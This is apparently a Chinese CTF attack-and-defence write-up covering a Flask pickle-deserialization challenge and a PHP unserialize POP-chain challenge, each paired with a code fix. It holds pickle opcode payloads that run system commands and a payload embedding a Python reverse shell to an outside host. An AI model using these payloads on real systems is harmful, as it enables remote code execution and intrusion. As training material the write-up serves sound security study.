队里有几个成员去打,回来后在群里发了附件,看了一下感觉不难,就决定复现一下
因为不知道具体题目顺序和名字,只有队员给的附件(复现也都是按照队员给的附件内容来,如果同样有参加的师傅发现缺漏,欢迎在评论区告诉我),所以就按照我的做题顺序来排序。同时为了还原真实线下做题场景,不使用在线工具
第一题
攻
首页一个登录框和一个注册,扫一下目录发现有个cache,访问一下得到一个.pyc文件,用pycdc反编译后得到下面代码
# Source Generated with Decompyle++
# File: app.cpython-38.pyc (Python 3.8)
from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory
import os
import pickle
import base64
app = Flask(__name__)
app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS'
USERS_DIR = 'users'
if not os.path.exists(USERS_DIR):
os.makedirs(USERS_DIR)
def register():
Unsupported opcode: BEGIN_FINALLY (97)
username = request.form.get('username')
password = request.form.get('password')
user_data = {
'username': username,
'password': password }
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')
# WARNING: Decompyle incomplete
register = app.route('/reg', [
'POST'], **('methods',))(register)
def register_page():
return render_template('register.html')
register_page = app.route('/register')(register_page)
def login():
Unsupported opcode: BEGIN_FINALLY (97)
username = request.form.get('username')
password = request.form.get('password')
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')
# WARNING: Decompyle incomplete
login = app.route('/login', [
'POST'], **('methods',))(login)
def index():
data = session.get('data', None)
if data:
data = base64.b64decode(data)
if b'R' in data and b'built' in data or b'setstate' in data:
return 'hacker???'
user_data = None.loads(data)
username = user_data['username']
return render_template('index.html', username, **('username',))
return None(url_for('login_page'))
index = app.route('/index')(index)
def login_page():
return render_template('login.html')
login_page = app.route('/')(login_page)
def logout():
session.pop('data', None)
return redirect(url_for('login_page'))
logout = app.route('/logout', [
'POST'], **('methods',))(logout)
def download_cache_file():
cache_file_path = os.path.join('__pycache__', 'app.cpython-38.pyc')
if os.path.exists(cache_file_path):
return send_from_directory(os.path.dirname(cache_file_path), os.path.basename(cache_file_path), True, **('as_attachment',))
return None
download_cache_file = app.route('/cache')(download_cache_file)
if __name__ == '__main__':
app.run('0.0.0.0', **('host',))
核心利用逻辑在这里
def index():
data = session.get('data', None)
if data:
data = base64.b64decode(data)
if b'R' in data and b'built' in data or b'setstate' in data:
return 'hacker???'
user_data = None.loads(data)
username = user_data['username']
return render_template('index.html', username, **('username',))
return None(url_for('login_page'))
看到过滤R第一反应就是要打opcode,但是不急,接着往下看
看到这儿有个None.loads,因为要触发opcode的前提是有pickle反序化,在import部分也看到了pickle包
所以推测这个None就是pickle,只是pycdc没有反编译出来
既然这样,接下来就是找能过这个过滤的opcode了。这里顺带复习一下几种常见的opcode指令
R指令
cos
system
(S'ls'
tR.
i指令
b'''(S'whoami'
ios
system
.'''
o指令
b'''(cos
system
S'whoami'
o.'''
这里随便找一个满足上述没有在黑名单的指令即可。这里我用o指令来打。首先先抓一个session来解一下,看一下结构和secret_key是否正确
没毛病,接下来就是构造opcode。原先data里的这个opcode,解开后是一个字典
因此没办法利用username进行回显,所以只能反弹shell。只要把revershells生成的python马塞到o指令里就行。payload如下
b'''(cos
system
S'python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("1.1.1.1"),int(os.getenv("1451"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")''
o.'''
这里有一个小细节要注意,revershells生成的反弹shell里有可能存在大写R,比如我框出来的地方
这里我用shortest的payload就没问题
将结果重新用session manager编码后,携带新的session发送即可拿到shell
守
先把原版代码薅下来
from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory
import os
import pickle
import base64
app = Flask(__name__)
app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS'
USERS_DIR = "users"
if not os.path.exists(USERS_DIR):
os.makedirs(USERS_DIR)
@app.route('/reg', methods=['POST'])
def register():
username = request.form.get('username')
password = request.form.get('password')
user_data = {
'username': username,
'password': password,
}
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')
with open(user_file, 'wb') as file:
pickle.dump(user_data, file)
return "Registration successful"
@app.route('/register')
def register_page():
return render_template('register.html')
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')
if os.path.exists(user_file):
with open(user_file, 'rb') as file:
stored_data = pickle.load(file)
if password == stored_data['password']:
session['data'] = base64.b64encode(pickle.dumps(stored_data)).decode('utf-8')
return redirect(url_for('index'))
return "Login failed"
@app.route('/index')
def index():
data = session.get('data', None)
if data:
data = base64.b64decode(data)
if b'R' in data or b'built' in data or b'setstate' in data:
return "hacker???"
user_data = pickle.loads(data)
username = user_data['username']
return render_template('index.html', username=username)
else:
return redirect(url_for('login_page'))
@app.route('/')
def login_page():
return render_template('login.html')
@app.route('/logout', methods=['POST'])
def logout():
session.pop('data', None)
return redirect(url_for('login_page'))
@app.route('/cache')
def download_cache_file():
cache_file_path = os.path.join('__pycache__', 'app.cpython-38.pyc')
if os.path.exists(cache_file_path):
return send_from_directory(os.path.dirname(cache_file_path), os.path.basename(cache_file_path),
as_attachment=True)
else:
return "Cache file not found"
if __name__ == '__main__':
app.run(host='0.0.0.0')
其实主要就是担心被opcode搞了,所以修改的逻辑就是不用pickle。直接改用json存就好了。修复完后完整代码如下
from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory
import os
import json
import base64
app = Flask(__name__)
app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS'
USERS_DIR = "users"
if not os.path.exists(USERS_DIR):
os.makedirs(USERS_DIR)
@app.route('/reg', methods=['POST'])
def register():
username = request.form.get('username')
password = request.form.get('password')
user_data = {
'username': username,
'password': password,
}
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.json')
with open(user_file, 'w') as file:
json.dump(user_data, file)
return "Registration successful"
@app.route('/register')
def register_page():
return render_template('register.html')
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.json')
if os.path.exists(user_file):
with open(user_file, 'r') as file:
stored_data = json.load(file)
if password == stored_data['password']:
session['data'] = base64.b64encode(json.dumps(stored_data).encode('utf-8')).decode('utf-8')
return redirect(url_for('index'))
return "Login failed"
@app.route('/index')
def index():
data = session.get('data', None)
if data:
data = base64.b64decode(data).decode('utf-8')
user_data = json.loads(data)
username = user_data['username']
return render_template('index.html', username=username)
else:
return redirect(url_for('login_page'))
@app.route('/')
def login_page():
return render_template('login.html')
@app.route('/logout', methods=['POST'])
def logout():
session.pop('data', None)
return redirect(url_for('login_page'))
@app.route('/cache')
def download_cache_file():
cache_file_path = os.path.join('__pycache__', 'app.cpython-38.pyc')
if os.path.exists(cache_file_path):
return send_from_directory(os.path.dirname(cache_file_path), os.path.basename(cache_file_path),
as_attachment=True)
else:
return "Cache file not found"
if __name__ == '__main__':
app.run(host='0.0.0.0')
第二题
攻
只有一段代码
<?php
error_log(0);
session_start();
class safe {
public $password;
public function __destruct() {
echo $this->password;
}
}
class unsafe {
public $username;
public function __toString() {
$action = $_GET['action'] ?: '';
$arg = $_GET['arg'] ?: '';
$this->username = $this->username . "hack me!";
if (preg_match('/^[a-z0-9_]*$|\n/isD', $action)) {
echo "Do it another way";
} else {
if (substr(md5($this->username), 0, 5) == 'ae471') {
$action('', $arg);
}
}
return "__toString was called!";
}
}
// 创建 SQLite3 数据库连接
$db = new SQLite3('users.db');
// 创建用户表(如果不存在)
$db->exec('CREATE TABLE IF NOT EXISTS users (username TEXT, password TEXT)');
// 插入一些示例用户数据(仅在表为空时)
$result = $db->query('SELECT COUNT(*) as count FROM users');
$row = $result->fetchArray();
if ($row['count'] == 0) {
$db->exec("INSERT INTO users (username, password) VALUES ('user1', 'password1')");
$db->exec("INSERT INTO users (username, password) VALUES ('user2', 'password2')");
}
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];
// 查询数据库以验证用户
$stmt = $db->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$stmt->bindValue(':password', $password, SQLITE3_TEXT);
$result = $stmt->execute();
if ($result->fetchArray()) {
$_SESSION['username'] = $username;
echo "登录成功!欢迎你," . htmlspecialchars($username) . "。";
} else {
echo "用户名或密码错误。";
}
}
if (isset($_SESSION['username'])) {
echo "你已经登录,用户名:" . htmlspecialchars($_SESSION['username']) . "。";
} else {
echo '<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>登录页面</title>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<div class="login-container">
<div class="login-box">
<h2>用户登录</h2>
<form method="POST">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" id="username" name="username" placeholder="请输入用户名" required>
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" id="password" name="password" placeholder="请输入密码" required>
</div>
<button type="submit">登录</button>
</form>
</div>
</div>
</body>
</html>';
}
if (isset($_POST["unsafe"])) {
unserialize($_POST["unsafe"]);
}
?>
这里的登录感觉只是为了掩人耳目,不重要,重要的是下面的反序化。
pop链非常简单,比较难的地方是$action的过滤,因为这个$action的值影响到$arg的赋值思路。如果$arg是拼接注入,那么$action是什么都无所谓。如果$arg是作为第二个正常的参数,那么$action要用什么就得照着php手册挨个试个东西出来。显然第二种情况更bad,所以先想想有没有可能绕过这一大坨正则
这里我在没有借助搜索引擎的情况下也想了挺久,在本地正则匹配里一直捣鼓。直到我翻了翻小屋
https://redshome.top/2023/10/25/靶场笔记第十章/
梭哈!最后一步,就是想一想怎么过md5截断判断了。这里我在没借助网络的情况下没想出什么好办法,只能斗胆试一试= = 结果没想到又被我梭出来了
最后把这些payload拼在一块就行
守
非常简单,把这些反序化类和unserialize删掉全部就行,不影响原有功能,这应该是全场最好修的题
第三题
攻
这两天比较忙还没空写,简单看了一下应该有3个攻击点,分别是文件上传,反序化和用户名命令拼接,有空再继续更新